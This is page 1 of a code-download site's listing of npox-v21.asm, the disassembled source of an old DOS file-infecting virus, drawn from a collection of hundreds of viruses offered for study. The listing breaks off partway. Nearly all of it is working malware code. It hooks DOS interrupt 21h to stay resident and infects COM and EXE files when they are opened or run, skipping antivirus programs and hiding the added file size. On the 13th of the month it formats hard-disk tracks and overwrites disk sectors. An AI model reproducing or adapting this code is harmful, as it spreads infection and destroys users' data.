⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 npox-v21.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        NPOX21				         圹
;圹								         圹
;圹      Created:   28-Sep-92					         圹
;圹      Passes:    5	       Analysis Options on: none	         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_1e		equ	16h
data_2e		equ	3			;*
data_32e	equ	103h			;*
data_33e	equ	1			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

npox21		proc	far

start:
		jmp	short $+3		; delay for I/O
		nop
		call	sub_1

npox21		endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_1		proc	near
		pop	bp
		sub	bp,106h
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		push	bp
		push	es
		push	ds
		mov	ah,2Ah			; '*'
		int	21h			; DOS Services  ah=function 2Ah
						;  get date, cx=year, dh=month
						;   dl=day, al=day-of-week 0=SUN
		cmp	dl,0Dh
		je	loc_2			; Jump if equal
		jmp	short loc_5
		db	90h
loc_2:
		mov	ch,0

locloop_3:
		mov	ah,5
		mov	dh,0
		mov	dl,80h
		int	13h			; Disk  dl=drive 0  ah=func 05h
						;  format track=ch or cylindr=cx
						;   al=interleave, dh=head
		inc	ch
		jc	loc_4			; Jump if carry Set
		cmp	ch,10h
		loopnz	locloop_3		; Loop if zf=0, cx>0

loc_4:
		mov	al,2
		mov	cx,20h
		mov	dx,0
		int	26h			; Absolute disk write, drive al
						;  if disk under 32MB, dx=start
						;    cx=#sectors, ds:bx=buffer
						;  else  cx=-1, ds:dx=parm block
;*		jmp	far ptr loc_66		;*
		db	0EAh,0F0h,0FFh,0FFh,0FFh
loc_5:
		mov	ax,0ABDCh
		int	21h			; ??INT Non-standard interrupt
		cmp	bx,0ABDCh
		je	loc_6			; Jump if equal
		push	cs
		pop	ds
		mov	cx,es
		mov	ax,3521h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	word ptr cs:data_10+2[bp],es
		mov	cs:data_10[bp],bx
		dec	cx
		mov	es,cx
		mov	bx,es:data_2e
		mov	dx,696h
		mov	cl,4
		shr	dx,cl			; Shift w/zeros fill
		add	dx,4
		mov	cx,es
		sub	bx,dx
		inc	cx
		mov	es,cx
		mov	ah,4Ah			; 'J'
		int	21h			; DOS Services  ah=function 4Ah
						;  change memory allocation
						;   bx=bytes/16, es=mem segment
		jc	loc_6			; Jump if carry Set
		mov	ah,48h			; 'H'
		dec	dx
		mov	bx,dx
		int	21h			; DOS Services  ah=function 48h
						;  allocate memory, bx=bytes/16
		jc	loc_6			; Jump if carry Set
		dec	ax
		mov	es,ax
		mov	cx,8
		mov	es:data_33e,cx
		sub	ax,0Fh
		mov	di,data_32e
		mov	es,ax
		mov	si,bp
		add	si,103h
		mov	cx,696h
		cld				; Clear direction
		repne	movsb			; Rep zf=0+cx >0 Mov [si] to es:[di]
		mov	ax,2521h
;*		mov	dx,offset loc_65	;*
		db	0BAh, 8Eh, 02h
		push	es
		pop	ds
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
loc_6:
		push	cs
		pop	ds
		cmp	cs:data_21[bp],5A4Dh
		je	loc_7			; Jump if equal
		mov	bx,offset data_21
		add	bx,bp
		mov	ax,[bx]
		mov	word ptr ds:[100h],ax
		inc	bx
		inc	bx
		mov	al,[bx]
		mov	byte ptr ds:[102h],al
		pop	ds
		pop	es
		pop	bp
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		mov	ax,offset start
		push	ax
		retn
		db	'Death to Separatist'
		db	0
loc_7:
		mov	bx,word ptr cs:data_12[bp]
		mov	dx,cs
		sub	dx,bx
		mov	ax,dx
		add	ax,cs:data_14[bp]
		add	dx,cs:data_16[bp]
		mov	bx,cs:data_13[bp]
		mov	word ptr cs:[236h][bp],bx
		mov	word ptr cs:[238h][bp],ax
		mov	ax,cs:data_13[bp]
		mov	word ptr cs:[22Ch][bp],dx
		mov	word ptr cs:[232h][bp],ax
		pop	ds
		pop	es
		pop	bp
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		mov	ax,0
		cli				; Disable interrupts
		mov	ss,ax
		mov	sp,0
		sti				; Enable interrupts
;*		jmp	far ptr loc_1		;*
sub_1		endp

		db	0EAh, 00h, 00h, 00h, 00h
loc_8:
		call	sub_2
		test	al,al
		jnz	loc_ret_15		; Jump if not zero
		push	ax
		push	bx
		push	es
		mov	ah,51h			; 'Q'
		int	21h			; DOS Services  ah=function 51h
						;  get active PSP segment in bx
						;*  undocumented function
		mov	es,bx
		cmp	bx,es:data_1e
		jne	loc_14			; Jump if not equal
		mov	bx,dx
		mov	al,[bx]
		push	ax
		mov	ah,2Fh			; '/'
		int	21h			; DOS Services  ah=function 2Fh
						;  get DTA ptr into es:bx
		pop	ax
		inc	al
		jnz	loc_13			; Jump if not zero
		add	bx,7
loc_13:
		mov	ax,es:[bx+17h]
		and	ax,1Fh
		cmp	al,1Eh
		jne	loc_14			; Jump if not equal
		and	byte ptr es:[bx+17h],0E0h
		sub	word ptr es:[bx+1Dh],696h
		sbb	word ptr es:[bx+1Fh],0
loc_14:
		pop	es
		pop	bx
		pop	ax

loc_ret_15:
		iret				; Interrupt return

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_2		proc	near
		pushf				; Push flags
		call	dword ptr cs:data_10
		retn
sub_2		endp

		db	0EBh,0B0h
data_10		dw	0, 0			; Data table (indexed access)
		db	 80h,0FCh, 11h, 74h,0F5h, 80h
		db	0FCh, 12h, 74h,0F0h, 3Dh, 00h
		db	 4Bh, 74h, 27h, 80h,0FCh, 3Dh
		db	 74h, 12h, 80h,0FCh, 3Eh, 74h
		db	 15h, 3Dh,0DCh,0ABh, 75h, 02h
		db	 8Bh,0D8h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_3		proc	near
		jmp	dword ptr cs:data_10
		db	0CBh
		db	0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh
		db	 8Ah, 02h
		db	0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh
		db	 8Ah, 02h
		db	0E8h,0ECh, 01h, 52h, 9Ch, 0Eh
		db	0E8h,0E1h,0FFh, 5Ah, 50h, 53h
		db	 51h, 52h, 1Eh,0E8h, 00h, 03h
		db	0E8h, 82h, 02h, 72h, 1Eh,0B8h
		db	 00h, 43h,0E8h,0A0h,0FFh, 72h
		db	 16h,0F6h,0C1h, 01h, 74h, 0Bh
		db	 80h,0E1h,0FEh,0B8h, 01h, 43h
		db	0E8h, 90h,0FFh
		db	 72h, 66h
loc_21:
		mov	ax,3D02h
		call	sub_2
loc_22:
		jc	loc_24			; Jump if carry Set
		mov	bx,ax
		call	sub_12
		jz	loc_24			; Jump if zero
		push	cs
		pop	ds
		mov	data_18,cx
		mov	data_19,dx
		mov	ah,3Fh			; '?'
		mov	cx,1Bh
		mov	dx,77Eh
		call	sub_2
		jc	loc_23			; Jump if carry Set
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		call	sub_2
		jc	loc_23			; Jump if carry Set
		cmp	data_21,5A4Dh
		je	loc_25			; Jump if equal
		mov	cx,ax
		sub	cx,3
		mov	data_20,cx
		call	sub_6
		jc	loc_24			; Jump if carry Set
		mov	ah,40h			; '@'
		mov	dx,760h
		mov	cx,3
		call	sub_2
loc_23:
		mov	cx,data_18
		mov	dx,data_19
		mov	ax,5701h
		call	sub_2
		mov	ah,3Eh			; '>'
		call	sub_2
loc_24:
		pop	ds
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		iret				; Interrupt return
loc_25:
		call	sub_15
		jc	loc_24			; Jump if carry Set
		call	sub_16
		call	sub_13
		jmp	short loc_23
sub_3		endp

data_12		db	0, 0			; Data table (indexed access)
data_13		dw	0			; Data table (indexed access)
data_14		dw	0			; Data table (indexed access)
data_15		dw	0
data_16		dw	0			; Data table (indexed access)

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_4		proc	near
		call	sub_8
		jnc	loc_26			; Jump if carry=0
		call	sub_9
		jnc	loc_26			; Jump if carry=0
		retn
loc_26:
		push	ax
		mov	ax,3D02h
		call	sub_2
		jnc	loc_27			; Jump if carry=0
		pop	ax
		iret				; Interrupt return
loc_27:
		push	bx
		push	cx
		push	dx
		push	ds
		mov	bx,ax
		call	sub_12
		jnz	loc_28			; Jump if not zero
		call	sub_17
loc_28:
		pop	ds
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
sub_4		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_5		proc	near
		cmp	bx,0
		je	loc_ret_29		; Jump if equal
		cmp	bx,5
		ja	loc_30			; Jump if above

loc_ret_29:
		retn
loc_30:
		push	ax
		push	bx
		push	cx
		push	dx
		push	di
		push	ds
		push	es
		push	bp
		push	bx
		mov	ax,1220h
		int	2Fh			; DOS Internal services
						;*  undocumented function
		mov	ax,1216h
		mov	bl,es:[di]
		int	2Fh			; DOS Internal services
						;*  undocumented function
		pop	bx
		add	di,11h
		mov	byte ptr es:[di-0Fh],2
		add	di,17h
		cmp	word ptr es:[di],4F43h
		jne	loc_31			; Jump if not equal
		cmp	byte ptr es:[di+2],4Dh	; 'M'
		jne	loc_34			; Jump if not equal
		jmp	short loc_35
		db	90h
loc_31:
		cmp	word ptr es:[di],5845h
		jne	loc_34			; Jump if not equal
		cmp	byte ptr es:[di+2],45h	; 'E'
		jne	loc_34			; Jump if not equal
		cmp	word ptr es:[di-8],4353h
		jne	loc_32			; Jump if not equal
		cmp	word ptr es:[di-6],4E41h
		je	loc_34			; Jump if equal
loc_32:
		cmp	word ptr es:[di-8],2D46h
		jne	loc_33			; Jump if not equal
		cmp	word ptr es:[di-6],5250h
		je	loc_34			; Jump if equal
loc_33:
		cmp	word ptr es:[di-8],4C43h
		jne	loc_35			; Jump if not equal
		cmp	word ptr es:[di-6],4145h
		jne	loc_35			; Jump if not equal
loc_34:
		jmp	short loc_37
		db	90h
loc_35:
		call	sub_12
		jz	loc_37			; Jump if zero
		push	cs
		pop	ds
		mov	data_18,cx
		mov	data_19,dx
		mov	ax,4200h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		call	sub_2
		mov	ah,3Fh			; '?'
		mov	cx,1Bh
		mov	dx,77Eh
		call	sub_2
		jc	loc_36			; Jump if carry Set
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		call	sub_2
		jc	loc_36			; Jump if carry Set
		cmp	data_21,5A4Dh
		je	loc_38			; Jump if equal
		mov	cx,ax
		sub	cx,3
		mov	data_20,cx
		call	sub_6
		jc	loc_36			; Jump if carry Set
		mov	ah,40h			; '@'
		mov	dx,760h
		mov	cx,3
		call	sub_2
loc_36:
		mov	cx,data_18
		mov	dx,data_19
		mov	ax,5701h
		call	sub_2
loc_37:
		pop	bp
		pop	es
		pop	ds

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -